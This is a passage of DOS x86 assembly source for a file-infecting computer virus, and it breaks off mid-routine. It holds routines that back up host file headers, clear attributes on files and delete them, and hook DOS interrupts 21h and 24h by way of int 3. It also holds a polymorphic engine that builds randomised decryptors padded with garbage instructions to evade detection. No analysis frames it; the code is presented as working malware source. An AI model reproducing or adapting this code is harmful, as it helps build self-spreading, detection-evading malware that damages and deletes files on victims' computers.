;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ backup_header: push si push di push es push ds pop es mov si,offset inf_header mov di,offset old_header mov cx,001Ch cld rep movsb pop es pop di pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Seek into file routines ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ seek_begin: xor al,al jmp short seek_int_21h seek_end: mov al,02h seek_int_21h: mov ah,42h xor cx,cx xor dx,dx int 03h jc seek_error mov word ptr cs:[file_size],ax ; Save pointer mov word ptr cs:[file_size+02h],dx ; position clc ret seek_error: stc ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Delete file routine ³ ;³ On entry: ³ ;³ DS:DX -> ptr to the file name to delete ³ ;³ DS:SI -> ptr to directory name ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ delete_file: push ds pop es ; Get path of next push si push di mov di,offset delete_path push di mov bx,di cld copy_del_path: lodsb stosb cmp al,"\" jne no_slash_here mov bx,di no_slash_here: or al,al jnz copy_del_path mov si,dx ; Now write the name mov di,bx ; of the file to delete copy_del_name: lodsb ; next to path stosb or al,al jnz copy_del_name mov ax,4301h ; Wipe out the file xor cx,cx ; attribute pop dx int 03h mov ah,41h ; Delete filename int 03h pop di pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Hook int 24h to a dummy handler and redirect int 21h over int 3 ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ hook_24h_03h: push ax push bx push ds push es push cs pop ds mov al,03h call get_int mov word ptr ds:[old03h],bx mov word ptr ds:[old03h+02h],es mov dx,offset call21h call set_int mov al,24h call get_int mov word ptr ds:[old24h],bx mov word ptr ds:[old24h+02h],es mov dx,offset my24h call set_int pop es pop ds pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Restore int 24h and 3 ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ free_24h_03h: push ax push ds mov al,03h lds dx,dword ptr cs:[old03h] call set_int mov al,24h lds dx,dword ptr cs:[old24h] call set_int pop ds pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus critical error interrupt handler (int 24h) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my24h: sti mov al,3 ; Return error in iret ; function ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate polymorphic encryption ³ ;³ On entry: ³ ;³ DS -> virus code segment ³ ;³ ES:DI -> position where the engine has to put the decryptor ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_polymorph: cld call rand_16 ; Get displacement and al,0FEh ; Avoid odd displace mov word ptr ds:[eng_displace],ax call rand_16 ; Get crypt key mov word ptr ds:[eng_crypt_key],ax mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only jne skip_1st_block ; on EXE files call gen_rnd_block ; Block of rand data skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry mov ax,(offset end_opcodes - offset opcodes_table)/02h call rand_in_range add ax,ax mov si,offset opcodes_table ; Get pointer to add si,ax ; random reg table lodsw mov si,ax call gen_garbage ; At this point, ; DS:SI -> reg opcode table+01h ; ; +00h add [bp+nn],key ; rol [bp+nn],01h ; inc [bp+nn] ; +01h sub [bp+nn],key ; +02h xor [bp+nn],key ; +03h ror [bp+nn],01h ; dec [bp+nn] ; +04h add bp,inm ; +05h sub bp,inm ; +06h inc bp ; +07h cmp bp,inm movsb ; mov reg,imm mov word ptr ds:[eng_init_ptr],di xor ax,ax stosw call gen_garbage mov word ptr ds:[eng_loop_point],di call gen_garbage mov al,2Eh ; Get segment reg stosb mov ax,(offset end_crypt - offset crypt_table)/02h call rand_in_range add ax,ax mov bx,offset crypt_table ; Get pointer to add bx,ax ; crypt generator call word ptr ds:[bx] ; Gen decrypt instr call gen_garbage mov ax,(offset end_inc_ptr - offset inc_ptr_table)/02h call rand_in_range add ax,ax mov bx,offset inc_ptr_table ; Get pointer to add bx,ax ; inc ptr generator call word ptr ds:[bx] ; Gen inc ptr instr call gen_garbage mov al,81h mov ah,byte ptr ds:[si+07h] ; Gen cmp reg,imm stosw mov word ptr ds:[eng_cmp_ptr],di xor ax,ax stosw mov ax,di sub ax,word ptr ds:[eng_loop_point] cmp ax,7Fh jb use_jmp_short mov ax,0074h ; Gen je label stosw ; garbage push di ; jmp loop_point call gen_garbage ; garbage mov al,0E9h ; label: stosb mov ax,di sub ax,word ptr ds:[eng_loop_point] inc ax inc ax neg ax stosw call gen_garbage pop bx mov ax,di sub ax,bx mov byte ptr es:[bx-01h],al jmp short continue_gen use_jmp_short: inc al inc al neg al mov ah,75h xchg ah,al stosw ; Gen jne loop_point continue_gen: call gen_garbage mov al,0E9h stosb push di xor ax,ax stosw call gen_rnd_block ; Block of rand data pop bx mov ax,di sub ax,bx dec ax dec ax mov word ptr es:[bx],ax mov ax,di mov word ptr ds:[crypt_delta],ax add ax,word ptr ds:[delta] sub ax,word ptr ds:[eng_displace] mov bx,word ptr ds:[eng_init_ptr] ; Ptr start of mov word ptr es:[bx],ax ; encrypted code... add ax,(inf_byte_size and 0FFFEh)+02h mov bx,word ptr ds:[eng_cmp_ptr] ; Ptr end of mov word ptr es:[bx],ax ; encrypted code... ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Perform encryption ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_encryption: mov si,word ptr cs:[crypt_delta] mov di,si mov cx,(inf_byte_size+01h)/02h mov dx,word ptr cs:[eng_crypt_key] loop_do_crypt: lodsw db 0EBh,00h ; Clear prefetch crypt_reverse dw 9090h ; Crypt/decrypt stosw loop loop_do_crypt ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate random data block ³ ;³ On entry to rnd_fill_loop: ³ ;³ ES:DI -> buffer to be filled ³ ;³ CX -> buffer size in bytes ³ ;³ Warning: direction flag must be clear ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_rnd_block: mov ax,004Bh ; Generate a block of call rand_in_range ; random data add ax,0019h mov cx,ax rnd_fill_loop: call get_rnd stosb loop rnd_fill_loop ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with add instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_add: mov al,81h mov ah,byte ptr ds:[si] stosw mov ax,word ptr ds:[eng_displace] ; Disp stosw mov ax,word ptr ds:[eng_crypt_key] ; Key stosw mov ds:[crypt_reverse],0C22Bh ; sub ax,dx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with sub instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_sub: mov al,81h mov ah,byte ptr ds:[si+01H] stosw mov ax,word ptr ds:[eng_displace] ; Disp stosw mov ax,word ptr ds:[eng_crypt_key] ; Key stosw mov ds:[crypt_reverse],0C203h ; add ax,dx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with xor instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_xor: mov al,81h mov ah,byte ptr ds:[si+02h] stosw mov ax,word ptr ds:[eng_displace] ; Disp stosw mov ax,word ptr ds:[eng_crypt_key] ; Key stosw mov ds:[crypt_reverse],0C233h ; xor ax,dx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with rol instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_rol: mov al,0D1h mov ah,byte ptr ds:[si] stosw mov ax,word ptr ds:[eng_displace] ; Disp stosw mov ds:[crypt_reverse],0C8D1h ; ror ax,dx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with ror instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_ror: mov al,0D1h mov ah,byte ptr ds:[si+03h] stosw mov ax,word ptr ds:[eng_displace] ; Disp stosw mov ds:[crypt_reverse],0C0D1h ; sub ax,dx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with inc instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_inc: mov al,0FFh mov ah,byte ptr ds:[si] stosw mov ax,word ptr ds:[eng_displace] ; Disp stosw mov ds:[crypt_reverse],9048h ; dec ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with dec instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_dec: mov al,0FFh mov ah,byte ptr ds:[si+03h] stosw mov ax,word ptr ds:[eng_displace] ; Disp stosw mov ds:[crypt_reverse],9040h ; inc ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0002h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_add0002h: mov al,83h mov ah,byte ptr ds:[si+04h] stosw mov al,02h stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFEh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_subFFFEh: mov al,83h mov ah,byte ptr ds:[si+05h] stosw mov al,0FEh stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using inc reg + garbage + inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_inc_inc: call gen_inc_reg call gen_garbage call gen_inc_reg ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using inc reg + garbage + add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_inc_add: call gen_inc_reg call gen_garbage call gen_add_0001h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0001h + garbage + inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_add_inc: call gen_add_0001h call gen_garbage call gen_inc_reg ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using inc reg + garbage + sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_inc_sub: call gen_inc_reg call gen_garbage call gen_sub_FFFFh ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFFh + garbage + inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_sub_inc: call gen_sub_FFFFh call gen_garbage call gen_inc_reg ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0001h + garbage + add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_add_add: call gen_add_0001h call gen_garbage call gen_add_0001h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_sub_sub: call gen_sub_FFFFh call gen_garbage call gen_sub_FFFFh ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_add_sub: call gen_add_0001h call gen_garbage call gen_sub_FFFFh ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ptr_sub_add: call gen_sub_FFFFh call gen_garbage call gen_add_0001h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_add_0001h: mov al,83h mov ah,byte ptr ds:[si+04h] stosw mov al,01h stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_sub_FFFFh: mov al,83h mov ah,byte ptr ds:[si+05h] stosw mov al,0FFh stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_inc_reg: mov al,byte ptr ds:[si+06h] stosb ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate from 2 up to 5 garbage instructions ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_garbage: push si inc byte ptr ds:[eng_recursive] cmp byte ptr ds:[eng_recursive],03h jae unable_2_gen mov ax,0003h call rand_in_range inc ax mov cx,ax loop_gen: push cx mov ax,(offset end_generator - offset generator_table)/02h call rand_in_range add ax,ax mov si,offset generator_table add si,ax call word ptr ds:[si] pop cx loop loop_gen pop si ret unable_2_gen: mov byte ptr ds:[eng_recursive],00h call gen_one_byte pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate push/garbage/pop ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_xpushpop: call gen_one_push call gen_garbage call gen_one_pop ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate a conditional jump followed by some garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ gen_cond_jump: call get_rnd and al,07h or al,70h stosb push di inc di call gen_garbage mov ax,di pop di push ax sub 